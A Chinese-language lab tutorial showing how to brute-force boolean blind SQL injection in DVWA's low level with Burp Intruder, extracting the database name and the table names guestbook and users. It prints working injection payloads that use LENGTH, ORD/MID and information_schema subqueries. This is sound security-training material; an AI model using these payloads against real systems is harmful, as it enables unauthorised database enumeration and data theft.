用burp抓包的方法爆破解决dvwa中low等级的bool盲注获取表名:
首先我们要先认识这个函数LENGTH(DATABASE()),这个函数可以返回数据库名称长度。
利用burp自带的浏览器打开dvwa进入SQL Injection(Blind)页面
获取库名
输入:
1'and LENGTH(DATABASE())=1
回到burp中找到抓的包并且发送到intruder
我们可以看到这里有一段id=1%27and+LENGTH%28DATABASE%28%29%29%3D1%23的东西,这个其实就是我们刚才输入的1'and LENGTH(DATABASE())=1#的url编码,这里推荐一个网站UrlEncode编码/UrlDecode解码 - 站长工具 (chinaz.com)大家可以去这里面进行URL编码的转换,我们输入1%27and+LENGTH%28DATABASE%28%29%29%3D1,点击Url解码就出现了1'and LENGTH(DATABASE())=1
接下来我们先清除所有的高亮,然后将我们要破解的地方高亮
然后我们在payload类型中选中数值,然后从1到10间隔1
点击攻击,点击上面显示所有项目,只勾选2xx:
可以发现长度是4。
接下来我们加快脚步,不在详细的赘述一下没用的东西。
输入:
1'and ORD(MID(DATABASE(),1,1))=1#
,然后将抓到的包送入intruder中,选中我们要爆破的数字,选择攻击类型为集束炸弹
选择第一个payload集payload类型为数值,从1到4间隔1,第二个为一到127间隔1
得出4个字符ascll值,也就是dvwa。
获取表名:
输入
1'AND (SELECT COUNT(table_name) FROM information_schema.tables where table_schema='dvwa')=1#
选中爆破的数字,payload类型为数值,从1到10间隔1:
先拿到第一个表名:
输入
1'and (select length ((select table_name from information_schema.tables where table_schema='dvwa'LIMIT 0,1)))=1
#选择爆破对象,选择攻击类型集束炸弹,选择两个payload集的类型都为数值,分别从0到1,间隔1,从1到10间隔1;
可以看到第一个表名长为9,第二个表名长为5。
输入:
1' and (SELECT ORD(MID((SELECT table_name from information_schema.tables where table_schema='dvwa'LIMIT 0,1),1,1)))=1#
转换一下ascll码就可以得到guestbook
第二个为users